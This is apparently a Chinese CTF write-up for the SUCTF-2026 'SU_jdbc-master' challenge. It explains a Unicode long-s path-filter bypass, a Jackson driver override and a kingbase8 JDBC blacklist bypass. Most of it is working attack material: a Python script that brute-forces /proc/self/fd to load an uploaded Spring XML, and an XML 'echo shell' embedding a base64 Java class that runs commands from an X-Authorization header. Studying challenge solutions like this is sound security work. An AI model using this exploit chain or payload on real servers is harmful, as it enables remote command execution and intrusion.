环境搭建

SU_jdbc-master.zip

docker build -t jdbc-master .
docker-compose up

wp

学习!

鉴权绕过

明显的jdbc入口点

不过这里有个鉴权,首先是将PathInterceptor 这个拦截器注册进spring mvc中,拦截的所有路径

然后看看拦截规则,简单的就是匹配到suctf这几个字符就403即上面的jdbc入口点,这里对特殊字符也进行了过滤

public class PathInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        HttpServletRequest r = request;
        HttpServletResponse res = response;
        String servletPath = r.getServletPath();
        if (servletPath != null && (servletPath.matches("(?i).*s\\W*u\\W*c\\W*t\\W*f.*") || servletPath.toLowerCase().contains("suctf") || servletPath.toLowerCase().replaceAll("[^a-z0-9]", "").contains("suctf"))) {
            res.setStatus(403);
            res.getWriter().write("blocked by filter");
            return false;
        }
        return true;
    }
}

这里在WebConfig下有个配置matcher.setCaseSensitive(false); 即将caseSensitive 设置为了false,表示路由匹配不区分大小写,所以在匹配suctf的时候用的是equalsIgnoreCase 代表忽略大小写

这里绕过思路就是在路由匹配的时候能够匹配到suctf,而在做鉴权匹配到时候匹配不到suctf,AntPathMatcher 这里代表的是路由匹配器,先跟一下路由匹配逻辑

这里首先获取注册的路由,然后逐个和传入路由做匹配

然后equals一下匹配上了就返回了,没匹配上走else逻辑这里useSuffixPatternMatch 是false,不知道是不是默认的不过不重要,不会走这里的逻辑

跟进到match 中调用了doMatch 方法

中间的逻辑不细跟了最终调用matchStrings 方法

再跟进一下matchStrings 方法就到了一开始看的这儿了

跟进到equalsIgnoreCase 逻辑如果this和传入的不匹配就会进入regionMatches 中,这里this猜测是和传入的路由一个个匹配没匹配上就走后面的逻辑,没细跟这里

然后来到regionMatches ,这里用实际绕过的字符跟

总共3个条件不为空,和实际要匹配的长度一样,然后就是regionMatches返回true就算匹配上了

跟进

public boolean regionMatches(boolean ignoreCase, int toffset,
            String other, int ooffset, int len) {
        char ta[] = value;
        int to = toffset;
        char pa[] = other.value;
        int po = ooffset;
        // Note: toffset, ooffset, or len might be near -1>>>1.
        if ((ooffset < 0) || (toffset < 0)
                || (toffset > (long)value.length - len)
                || (ooffset > (long)other.value.length - len)) {
            return false;
        }
        while (len-- > 0) {
            char c1 = ta[to++];
            char c2 = pa[po++];
            if (c1 == c2) {
                continue;
            }
            if (ignoreCase) {
                // If characters don't match but case may be ignored,
                // try converting both characters to uppercase.
                // If the results match, then the comparison scan should
                // continue.
                char u1 = Character.toUpperCase(c1);
                char u2 = Character.toUpperCase(c2);
                if (u1 == u2) {
                    continue;
                }
                // Unfortunately, conversion to uppercase does not work properly
                // for the Georgian alphabet, which has strange rules about case
                // conversion.  So we need to make one last check before
                // exiting.
                if (Character.toLowerCase(u1) == Character.toLowerCase(u2)) {
                    continue;
                }
            }
            return false;
        }
        return true;
    }

这里的逻辑就是先原样匹配一下,没匹配上进入if,然后转大写匹配匹配上了就下一个字符做匹配,没匹配上就转小写再匹配匹配上了就下一个字符继续匹配,没匹配上就返回false了,即这里只要大小写其中一个能匹配上就行

很明显这里ſ 转大写后就是S 就能匹配上路由,再看鉴权那里的逻辑

全都是转小写,自然而然就能绕过了

JDBC利用

首先这里对jdbcurl有一层过滤,这里可以直接去掉/进行绕过如**jdbc:kingbase8:127.0.0.1:54321/test?a=1**或者不加IP和端口也行,会自己添加一个默认的

    private void validateJdbcUrl(String jdbcUrl) throws UnsupportedEncodingException {
        if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
            throw new IllegalArgumentException("jdbcUrl is empty");
        }
        if (jdbcUrl.trim().toLowerCase().contains(":/") || jdbcUrl.trim().toLowerCase().contains("/?")) {
            throw new IllegalArgumentException("Cannot contain special characters");
        }
        String jdbcUrlLower = jdbcUrl.toLowerCase();
        for (String illegal : ILLEGAL_PARAMETERS) {
            if (!jdbcUrlLower.contains(illegal.toLowerCase())) continue;
            throw new IllegalArgumentException("Illegal parameter: " + illegal);
        }
    }

ILLEGAL_PARAMETERS过滤如下

    private static final List<String> ILLEGAL_PARAMETERS = Arrays.asList("socketFactory", "socketFactoryArg", "sslfactory", "sslhostnameverifier", "sslpasswordcallback", "authenticationPluginClassName", "loggerFile", "loggerLevel");

两种过滤一个黑名单一个连接格式,这里给了两个jdbc的jar一个pgsql一个kingbase8,pgsql在42.3.6已经没法利用了,因为加了一个
SocketFactory

然后检测是否是其子类

所以得看kingbase8,是pgsql的国产版,估计就是漏洞没修,但是默认获取的driver是pgsql的

这里是用的Jackson readValue进行反序列化有个Jackson反序列化的trick,反序列化的时候会调用反序列化类的setter方法,当传入的值中有driver就是设置为其传入的,没有就是默认的所以这里能造成属性值覆盖,没传入driver时只会调用其getter方法

当传入driver时就只会调用其setter方法

从而就能覆盖原本默认的pgsql的driver,总结如下

Jackson(以及其他大多数 JSON 反序列化框架)的工作方式是:

  • 先创建对象实例(会执行默认值初始化)。
  • 再根据 JSON 中的字段进行赋值。
  • 如果 JSON 中有某个字段,它会覆盖对象的默认值。
  • 如果 JSON 中没有某个字段,则对象的该字段会保留默认值。

然后就是绕过利用的黑名单,这里黑名单ban的就是CVE-2022-21724利用,这里跟进kingbase8的driver中可以看到能够从文件中加载属性进行初始化,跟进initJDBCCONF 函数

可以看到读取了文件进行加载

先随便用一组数据测试

socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=http://127.0.0.1:50025/1.xml

最终会来到如下位置

跟进发现最终会实例化socketFactory的参数,但是这里只能从本地加载数据,怎么传入我们想让其实例化的类呢?这里就是典型的没有上传场景怎么写入恶意数据到服务器中,参考https://xz.aliyun.com/news/17830可以利用这篇文章中的trick,写入临时文件通过文件描述符爆破即可,写入的内容如下

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="poc" class="java.lang.String">
        <constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
        " />
    </bean>
</beans>

数据包如下

POST /api/connection HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="poc" class="java.lang.String">
        <constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
        " />
    </bean>
</beans>

发完包后该文件生成成功,当请求结束该文件消失

其内容即我们上传的东西

后续就是利用p神的ClassPathXmlApplicationContext不出网利用方式即可,或者用wp中的类也行,形式如下

脚本如下

import socket
import threading
import time
import requests
import json
from concurrent.futures import ThreadPoolExecutor, as_completed

HOST = "127.0.0.1"
PORT = 8080
URL = HOST + ":" + str(PORT)

import socket
import time

def cache_tmp(fileName):
    filepath = fileName
    with open(filepath, "rb") as f:
        raw_data = f.read().strip()
    data_hex = raw_data.hex()
    a = data_hex
    a = (
        b"""POST /api/connection HTTP/1.1
Host: """
        + URL.encode()
        + b"""
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

{{payload}}
""".replace(
            b"\n", b"\r\n"
        ).replace(
            b"{{payload}}", bytes.fromhex(a) + b"\n" * 1024 * 124
        )
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)

def exp():
    url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
    headers = {
        "Host": URL,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "X-Authorization": "ls /",
        "Content-Type": "application/json",
    }

    def send_request(fd):
        print(f"当前爆破到fd: {fd}")
        named_pipe_path = f"/proc/self/fd/{fd}"
        payload = {
            "urlType": "jdbcUrl",
            "driver": "com.kingbase8.Driver",
            "jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
            "username": "postgres",
            "password": "your_password",
        }
        payload_json = json.dumps(payload).encode("utf-8")
        headers["Content-Length"] = str(len(payload_json))
        try:
            print(f"[exp] POST with fd={fd}")
            with requests.Session() as sess:
                r = sess.post(url, headers=headers, data=payload_json, timeout=5)
            print(r.text)
            time.sleep(2)
            return f"[exp] fd={fd} -> {r.status_code} len={len(r.content or b'')}"
        except Exception as e:
            return f"[exp] fd={fd} -> exception: {e}"

    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(send_request, fd): fd for fd in range(1, 1000)}
        for future in as_completed(futures):
            print(future.result())

t1 = threading.Thread(target=cache_tmp, args=("./evil.txt",))
t1.start()
time.sleep(1)
t2 = threading.Thread(target=cache_tmp, args=("./exp.xml",))
t2.start()
time.sleep(1)
exp()

回显马xml文件如下

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBOwEAWW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL1J1bnRpbWVKc29uTWFwcGluZ0V4Y2VwdGlvbmJkZDg2N2FkM2U2ZDQ3YWI4YjNkMjE3M2U5ZTQ0YWEyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAcMAAUABgoABAAJAQADcnVuDAALAAYKAAIADAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD1gtQXV0aG9yaXphdGlvbggAEAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAEgEAE2phdmEvbGFuZy9UaHJvd2FibGUHABQBABBqYXZhL2xhbmcvVGhyZWFkBwAWAQAKZ2V0VGhyZWFkcwgAGAEAD2phdmEvbGFuZy9DbGFzcwcAGgEAEltMamF2YS9sYW5nL0NsYXNzOwcAHAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAHgAfCgAbACABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAJAAlCgAjACYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACgAKQoAIwAqAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcALAEAB2dldE5hbWUMAC4ADwoAFwAvAQAEaHR0cAgAMQEAEGphdmEvbGFuZy9TdHJpbmcHADMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwANQA2CgA0ADcBAAhBY2NlcHRvcggAOQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAOwA8CgAEAD0BAAZ0YXJnZXQIAD8BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABBAEIKABsAQwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwBFCgBGACYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwASABJCgBGAEoBAAhlbmRwb2ludAgATAEABnRoaXMkMAgATgEAB2hhbmRsZXIIAFABAA1nZXRTdXBlcmNsYXNzDABSADwKABsAUwEABmdsb2JhbAgAVQEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAVwBYCgAbAFkBACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvCABbAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwBdAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAXwBgCgBeAGEKABsALwEACnByb2Nlc3NvcnMIAGQBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBmAQAEc2l6ZQEAAygpSQwAaABpCgBnAGoBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAEgAbAoAZwBtAQADcmVxCABvAQAHZ2V0Tm90ZQgAcQEAEWphdmEvbGFuZy9JbnRlZ2VyBwBzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAB1AHYJAHQAdwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAB5AHoKAHQAewEACWdldEhlYWRlcggAfQEACWdldE1ldGhvZAwAfwAfCgAbAIAMAA4ADwoAAgCCAQALZ2V0UmVzcG9uc2UIAIQBAAlnZXRXcml0ZXIIAIYBAA5qYXZhL2lvL1dyaXRlcgcAiAEABmhhbmRsZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACKAIsKAAIAjAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDACOAI8KAIkAkAEABWZsdXNoDACSAAYKAIkAkwEABWNsb3NlDACVAAYKAIkAlgEABGV4ZWMBAAdvcy5uYW1lCACZAQAQamF2YS9sYW5nL1N5c3RlbQcAmwEAC2dldFByb3BlcnR5DACdAIsKAJwAngEAC3RvTG93ZXJDYXNlDACgAA8KADQAoQEAA3dpbggAowEABy9iaW4vc2gIAKUBAAItYwgApwEAB2NtZC5leGUIAKkBAAIvYwgAqwEAEWphdmEvbGFuZy9SdW50aW1lBwCtAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwArwCwCgCuALEBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DACYALMKAK4AtAEAEWphdmEvbGFuZy9Qcm9jZXNzBwC2AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAuAC5CgC3ALoBABFqYXZhL3V0aWwvU2Nhbm5lcgcAvAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwABQC+CgC9AL8BAAJcYQgAwQEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAwwDECgC9AMUBAAAIAMcBAAdoYXNOZXh0AQADKClaDADJAMoKAL0AywEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwDNCgDOAAkBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMANAA0QoAzgDSAQAEbmV4dAwA1AAPCgC9ANUBAAh0b1N0cmluZwwA1wAPCgDOANgBAApnZXRNZXNzYWdlDADaAA8KAAgA2wEAE1tMamF2YS9sYW5nL1N0cmluZzsHAN0BABNqYXZhL2lvL0lucHV0U3RyZWFtBwDfAQAGZXlKZVhBCADhAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgwA4wDkCgA0AOUBAAZsZW5ndGgMAOcAaQoANADoAQAGY2hhckF0AQAEKEkpQwwA6gDrCgA0AOwBABUoQylMamF2YS9sYW5nL1N0cmluZzsMAHkA7goANADvAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAPEA8goAdADzAQABLggA9QEAB2luZGV4T2YMAPcA8goANAD4AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwwA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</value>

            </list>

        </property>

    </bean>

    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="5128"/>
    </bean>

    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

两个临时文件触发不是很稳定,没成功就重新生成一个新容器

参考

https://mp.weixin.qq.com/s/sqOEWVEyu9QHaSNsfByNUQ

https://github.com/team-su/SUCTF-2026/tree/main/web/SU_jdbc-master/exp